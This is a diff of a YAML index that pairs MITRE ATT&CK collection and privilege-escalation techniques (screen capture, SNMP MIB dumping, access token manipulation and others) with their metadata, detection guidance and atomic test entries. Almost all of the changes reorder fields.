-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1074/002
+        external_id: T1074.002
+        source_name: mitre-attack
+      - url: https://content.fireeye.com/m-trends/rpt-m-trends-2020
+        description: Mandiant. (2020, February). M-Trends 2020. Retrieved April 24,
+          2020.
+        source_name: Mandiant M-Trends 2020
     atomic_tests: []
   T1114.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Remote Email Collection
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Logon Session: Logon Session Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-03-25T13:12:56.909Z'
+      created: '2020-02-19T18:52:24.547Z'
+      x_mitre_platforms:
+      - Office 365
+      - Windows
+      - Google Workspace
+      x_mitre_is_subtechnique: true
       id: attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a
       description: Adversaries may target an Exchange server, Office 365, or Google
         Workspace to collect sensitive information. Adversaries may leverage a user's
@@ -9968,63 +10154,36 @@ collection:
         services, Office 365, or Google Workspace to access email using credentials
         or access tokens. Tools such as [MailSniper](https://attack.mitre.org/software/S0413)
         can be used to automate searches for specific keywords.
-      name: Remote Email Collection
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1114.002
-        url: https://attack.mitre.org/techniques/T1114/002
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2021-03-25T13:12:56.909Z'
-      created: '2020-02-19T18:52:24.547Z'
-      x_mitre_platforms:
-      - Office 365
-      - Windows
-      - Google Workspace
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Logon Session: Logon Session Creation'
-      - 'Command: Command Execution'
       x_mitre_detection: 'Monitor for unusual login activity from unknown or abnormal
         locations, especially for privileged accounts (ex: Exchange administrator
         account).'
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1114/002
+        external_id: T1114.002
+        source_name: mitre-attack
     atomic_tests: []
   T1602.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1602.001
-        url: https://attack.mitre.org/techniques/T1602/001
-      - source_name: SANS Information Security Reading Room Securing SNMP Securing
-          SNMP
-        url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
-        description: 'Michael Stump. (2003). Information Security Reading Room Securing
-          SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.'
-      - source_name: US-CERT-TA18-106A
-        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
-        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
-          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
-          19, 2020.
-      - source_name: Cisco Blog Legacy Device Attacks
-        url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
-        description: Omar Santos. (2020, October 19). Attackers Continue to Target
-          Legacy Devices. Retrieved October 20, 2020.
-      - source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
-        url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
-        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
-          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
-          19, 2020.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: SNMP (MIB Dump)
+      x_mitre_data_sources:
+      - 'Network Traffic: Network Connection Creation'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.0'
+      modified: '2020-10-22T01:54:22.812Z'
+      created: '2020-10-19T23:51:05.953Z'
+      x_mitre_permissions_required:
+      - Administrator
+      x_mitre_platforms:
+      - Network
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5
       description: "Adversaries may target the Management Information Base (MIB) to
         collect and/or mine valuable information in a network managed using Simple
         Network Management Protocol (SNMP).\n\nThe MIB is a configuration repository
@@ -10041,45 +10200,53 @@ collection:
         that allows the adversary to build network maps and facilitate future targeted
         exploitation.(Citation: US-CERT-TA18-106A)(Citation: Cisco Blog Legacy Device
         Attacks) "
-      id: attack-pattern--ee7ff928-801c-4f34-8a99-3df965e581a5
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-10-22T01:54:22.812Z'
-      created: '2020-10-19T23:51:05.953Z'
-      x_mitre_data_sources:
-      - 'Network Traffic: Network Connection Creation'
-      - 'Network Traffic: Network Traffic Content'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - Administrator
       x_mitre_detection: 'Identify network traffic sent or received by untrusted hosts
         or networks that expose MIB content or use unauthorized protocols.(Citation:
         Cisco Advisory SNMP v3 Authentication Vulnerabilities)'
-      x_mitre_platforms:
-      - Network
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1602/001
+        external_id: T1602.001
+        source_name: mitre-attack
+      - url: https://www.sans.org/reading-room/whitepapers/networkdevs/securing-snmp-net-snmp-snmpv3-1051
+        description: 'Michael Stump. (2003). Information Security Reading Room Securing
+          SNMP: A Look atNet-SNMP (SNMPv3). Retrieved October 19, 2020.'
+        source_name: SANS Information Security Reading Room Securing SNMP Securing
+          SNMP
+      - url: https://www.us-cert.gov/ncas/alerts/TA18-106A
+        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
+          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
+          19, 2020.
+        source_name: US-CERT-TA18-106A
+      - url: https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954
+        description: Omar Santos. (2020, October 19). Attackers Continue to Target
+          Legacy Devices. Retrieved October 20, 2020.
+        source_name: Cisco Blog Legacy Device Attacks
+      - url: https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3
+        description: Cisco. (2008, June 10). Identifying and Mitigating Exploitation
+          of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October
+          19, 2020.
+        source_name: Cisco Advisory SNMP v3 Authentication Vulnerabilities
     atomic_tests: []
   T1113:
     technique:
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1113
-        url: https://attack.mitre.org/techniques/T1113
-      - external_id: CAPEC-648
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/648.html
-      - source_name: CopyFromScreen .NET
-        url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8
-        description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved
-          March 24, 2020.
-      - url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
-        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
-          code. Retrieved July 5, 2017.
-        source_name: Antiquated Mac Malware
+      type: attack-pattern
+      modified: '2020-03-24T19:56:37.627Z'
+      name: Screen Capture
+      x_mitre_data_sources:
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.1'
+      created: '2017-05-31T21:31:25.060Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688
       description: 'Adversaries may attempt to take screen captures of the desktop
         to gather information over the course of an operation. Screen capturing functionality
         may be included as a feature of a remote access tool used in post-compromise
@@ -10089,20 +10256,11 @@ collection:
         Mac Malware)
 
 '
-      name: Screen Capture
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688
-      type: attack-pattern
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-03-24T19:56:37.627Z'
-      created: '2017-05-31T21:31:25.060Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
       x_mitre_detection: Monitoring for screen capture behavior will depend on the
         method used to obtain data from the operating system and write output files.
         Detection methods could include collecting information from unusual processes
@@ -10110,10 +10268,22 @@ collection:
         written to disk. The sensor data may need to be correlated with other events
         to identify malicious activity, depending on the legitimacy of this behavior
         within a given network environment.
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1113
+        external_id: T1113
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/648.html
+        external_id: CAPEC-648
+        source_name: capec
+      - url: https://docs.microsoft.com/en-us/dotnet/api/system.drawing.graphics.copyfromscreen?view=netframework-4.8
+        description: Microsoft. (n.d.). Graphics.CopyFromScreen Method. Retrieved
+          March 24, 2020.
+        source_name: CopyFromScreen .NET
+      - source_name: Antiquated Mac Malware
+        description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated
+          code. Retrieved July 5, 2017.
+        url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/
       identifier: T1113
     atomic_tests:
     - name: Screencapture
@@ -10284,18 +10454,23 @@ collection:
         name: powershell
   T1213.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1213.002
-        url: https://attack.mitre.org/techniques/T1213/002
-      - url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
-        description: Microsoft. (2017, July 19). Configure audit settings for a site
-          collection. Retrieved April 4, 2018.
-        source_name: Microsoft SharePoint Logging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Sharepoint
+      x_mitre_data_sources:
+      - 'Logon Session: Logon Session Creation'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
+      modified: '2021-06-08T17:10:31.187Z'
+      created: '2020-02-14T13:35:32.938Z'
+      x_mitre_permissions_required:
+      - User
+      x_mitre_platforms:
+      - Windows
+      - Office 365
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a
       description: |
         Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
 
@@ -10307,13 +10482,9 @@ collection:
         * Work / project schedules
         * Source code snippets
         * Links to network shares and other internal resources
-      id: attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
-      modified: '2020-03-24T16:41:00.821Z'
-      created: '2020-02-14T13:35:32.938Z'
       x_mitre_detection: "The user access logging within Microsoft's SharePoint can
         be configured to report access to certain pages and documents. (Citation:
         Microsoft SharePoint Logging). As information repositories generally have
@@ -10321,68 +10492,67 @@ collection:
         At minimum, access to information repositories performed by privileged users
         (for example, Active Directory Domain, Enterprise, or Schema Administrators)
         should be closely monitored and alerted upon, as these types of accounts should
-        not generally used to access information repositories. If the capability exists,
-        it may be of value to monitor and alert on users that are retrieving and viewing
-        a large number of documents and pages; this behavior may be indicative of
-        programmatic means being used to retrieve all data within the repository.
+        generally not be used to access information repositories. If the capability
+        exists, it may be of value to monitor and alert on users that are retrieving
+        and viewing a large number of documents and pages; this behavior may be indicative
+        of programmatic means being used to retrieve all data within the repository.
         In environments with high-maturity, it may be possible to leverage User-Behavioral
         Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n"
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1213/002
+        external_id: T1213.002
+        source_name: mitre-attack
+      - source_name: Microsoft SharePoint Logging
+        description: Microsoft. (2017, July 19). Configure audit settings for a site
+          collection. Retrieved April 4, 2018.
+        url: https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2
+    atomic_tests: []
+  T1125:
+    technique:
+      type: attack-pattern
+      modified: '2020-07-14T19:40:47.644Z'
+      name: Video Capture
       x_mitre_data_sources:
-      - 'Logon Session: Logon Session Creation'
-      - 'Application Log: Application Log Content'
+      - 'Process: OS API Execution'
+      - 'Command: Command Execution'
       x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+      created: '2017-05-31T21:31:37.917Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: collection
       x_mitre_permissions_required:
       - User
       x_mitre_platforms:
       - Windows
-      - Office 365
-    atomic_tests: []
-  T1125:
-    technique:
-      created: '2017-05-31T21:31:37.917Z'
-      modified: '2020-07-14T19:40:47.644Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: collection
-      type: attack-pattern
+      - macOS
+      x_mitre_is_subtechnique: false
       id: attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Video Capture
       description: |-
         An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.
 
         Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.
 
         In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1125
-        external_id: T1125
-      - external_id: CAPEC-634
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/634.html
-      - url: https://objective-see.com/blog/blog_0x25.html
-        description: Patrick Wardle. (n.d.). Retrieved March 20, 2018.
-        source_name: objective-see 2017 review
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      x_mitre_platforms:
-      - Windows
-      - macOS
-      x_mitre_permissions_required:
-      - User
+      x_mitre_contributors:
+      - Praetorian
       x_mitre_detection: |-
         Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.
 
         Behavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.
-      x_mitre_data_sources:
-      - 'Process: OS API Execution'
-      - 'Command: Command Execution'
-      x_mitre_contributors:
-      - Praetorian
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1125
+        external_id: T1125
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/634.html
+        external_id: CAPEC-634
+        source_name: capec
+      - source_name: objective-see 2017 review
+        description: Patrick Wardle. (n.d.). Retrieved March 20, 2018.
+        url: https://objective-see.com/blog/blog_0x25.html
       identifier: T1125
     atomic_tests:
     - name: Registry artefact when application use webcam
@@ -10401,75 +10571,55 @@ collection:
         name: command_prompt
   T1056.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1056.003
-        url: https://attack.mitre.org/techniques/T1056/003
-      - external_id: CAPEC-569
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/569.html
-      - url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
-        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
-          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
-        source_name: Volexity Virtual Private Keylogging
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Web Portal Capture
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      x_mitre_version: '1.0'
+      modified: '2020-03-24T21:16:16.580Z'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      created: '2020-02-11T18:59:50.058Z'
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
       description: |-
         Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.
 
         This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)
-      id: attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: collection
       - kill_chain_name: mitre-attack
         phase_name: credential-access
-      modified: '2020-03-24T21:16:16.580Z'
-      created: '2020-02-11T18:59:50.058Z'
-      x_mitre_system_requirements:
-      - An externally facing login portal is configured.
-      x_mitre_data_sources:
-      - 'File: File Modification'
       x_mitre_detection: File monitoring may be used to detect changes to files in
         the Web directory for organization login pages that do not match with authorized
         updates to the Web server's content.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      x_mitre_system_requirements:
+      - An externally facing login portal is configured.
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1056/003
+        external_id: T1056.003
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/569.html
+        external_id: CAPEC-569
+        source_name: capec
+      - source_name: Volexity Virtual Private Keylogging
+        description: 'Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco
+          Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.'
+        url: https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/
     atomic_tests: []
 privilege-escalation:
   T1548:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1548
-        url: https://attack.mitre.org/techniques/T1548
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Abuse Elevation Control Mechanism
-      description: Adversaries may circumvent mechanisms designed to control elevate
-        privileges to gain higher-level permissions. Most modern systems contain native
-        elevation control mechanisms that are intended to limit privileges that a
-        user can perform on a machine. Authorization has to be granted to specific
-        users in order to perform tasks that can be considered of higher risk. An
-        adversary can perform several methods to take advantage of built-in control
-        mechanisms in order to escalate privileges on a system.
-      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      modified: '2020-07-22T21:36:52.825Z'
-      created: '2020-01-30T13:58:14.373Z'
+      name: Abuse Elevation Control Mechanism
       x_mitre_data_sources:
       - 'Process: Process Metadata'
       - 'Process: Process Creation'
@@ -10478,9 +10628,30 @@ privilege-escalation:
       - 'File: File Metadata'
       - 'File: File Modification'
       - 'Process: OS API Execution'
+      x_mitre_version: '1.0'
+      modified: '2020-07-22T21:36:52.825Z'
+      created: '2020-01-30T13:58:14.373Z'
       x_mitre_permissions_required:
       - Administrator
       - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b
+      description: Adversaries may circumvent mechanisms designed to control elevate
+        privileges to gain higher-level permissions. Most modern systems contain native
+        elevation control mechanisms that are intended to limit privileges that a
+        user can perform on a machine. Authorization has to be granted to specific
+        users in order to perform tasks that can be considered of higher risk. An
+        adversary can perform several methods to take advantage of built-in control
+        mechanisms in order to escalate privileges on a system.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
       x_mitre_detection: |-
         Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).
 
@@ -10489,75 +10660,18 @@ privilege-escalation:
         On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the <code>LOG_INPUT</code> and <code>LOG_OUTPUT</code> directives in the <code>/etc/sudoers</code> file.
 
         There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1548
+        external_id: T1548
+        source_name: mitre-attack
     atomic_tests: []
   T1134:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1134
-        url: https://attack.mitre.org/techniques/T1134
-      - external_id: CAPEC-633
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/633.html
-      - url: https://pentestlab.blog/2017/04/03/token-manipulation/
-        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
-          21, 2017.
-        source_name: Pentestlab Token Manipulation
-      - url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
-        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
-          April 21, 2017.
-        source_name: Microsoft Command-line Logging
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378184(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft LogonUser
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa446617(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft DuplicateTokenEx
-      - url: https://msdn.microsoft.com/en-us/library/windows/desktop/aa378612(v=vs.85).aspx
-        description: Microsoft TechNet. (n.d.). Retrieved April 25, 2017.
-        source_name: Microsoft ImpersonateLoggedOnUser
-      - url: https://www.blackhat.com/docs/eu-17/materials/eu-17-Atkinson-A-Process-Is-No-One-Hunting-For-Token-Manipulation.pdf
-        description: 'Atkinson, J., Winchester, R. (2017, December 7). A Process is
-          No One: Hunting for Token Manipulation. Retrieved December 21, 2017.'
-        source_name: BlackHat Atkinson Winchester Token Manipulation
-      description: |-
-        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
-
-        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
-
-        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
-      name: Access Token Manipulation
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: privilege-escalation
-      modified: '2021-04-24T13:40:52.952Z'
-      created: '2017-12-14T16:46:06.044Z'
-      x_mitre_defense_bypassed:
-      - Windows User Account Control
-      - System access controls
-      - File system access controls
-      - Heuristic Detection
-      - Host forensic analysis
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '2.0'
-      x_mitre_contributors:
-      - Tom Ueltschi @c_APT_ure
-      - Travis Smith, Tripwire
-      - Robby Winchester, @robwinchester3
-      - Jared Atkinson, @jaredcatkinson
+      name: Access Token Manipulation
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Process: Process Metadata'
@@ -10565,6 +10679,40 @@ privilege-escalation:
       - 'User Account: User Account Metadata'
       - 'Active Directory: Active Directory Object Modification'
       - 'Command: Command Execution'
+      x_mitre_version: '2.0'
+      modified: '2021-10-17T14:51:49.334Z'
+      created: '2017-12-14T16:46:06.044Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: privilege-escalation
+      id: attack-pattern--dcaa092b-7de9-4a21-977f-7fcb77e89c48
+      x_mitre_defense_bypassed:
+      - Windows User Account Control
+      - System access controls
+      - File system access controls
+      - Heuristic Detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      description: |-
+        Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
+
+        An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. These token can then be applied to an existing process (i.e. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001)) or used to spawn a new process (i.e. [Create Process with Token](https://attack.mitre.org/techniques/T1134/002)). An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can then use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.(Citation: Pentestlab Token Manipulation)
+
+        Any standard user can use the <code>runas</code> command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account. There are also other mechanisms, such as Active Directory fields, that can be used to modify access tokens.
+      x_mitre_effective_permissions:
+      - SYSTEM
+      x_mitre_contributors:
+      - Tom Ueltschi @c_APT_ure
+      - Travis Smith, Tripwire
+      - Robby Winchester, @robwinchester3
+      - Jared Atkinson, @jaredcatkinson
       x_mitre_detection: "If an adversary is using a standard command-line shell,
         analysts can detect token manipulation by auditing command-line activity.
         Specifically, analysts should look for use of the <code>runas</code> command.
@@ -10586,43 +10734,62 @@ privilege-escalation:
         and ParentProcessID (which are also produced from ETW and other utilities
         such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId
         identifies the actual parent process."
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      x_mitre_effective_permissions:
-      - SYSTEM
-      x_mitre_platforms:
-      - Windows
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1134
+        external_id: T1134
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/633.html
+        external_id: CAPEC-633
+        source_name: capec
+      - source_name: Pentestlab Token Manipulation
+        description: netbiosX. (2017, April 3). Token Manipulation. Retrieved April
+          21, 2017.
+        url: https://pentestlab.blog/2017/04/03/token-manipulation/
+      - source_name: Microsoft Command-line Logging
+        description: Mathers, B. (2017, March 7). Command line process auditing. Retrieved
+          April 21, 2017.
+        url: https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing
+      - source_name: Microsoft LogonUser
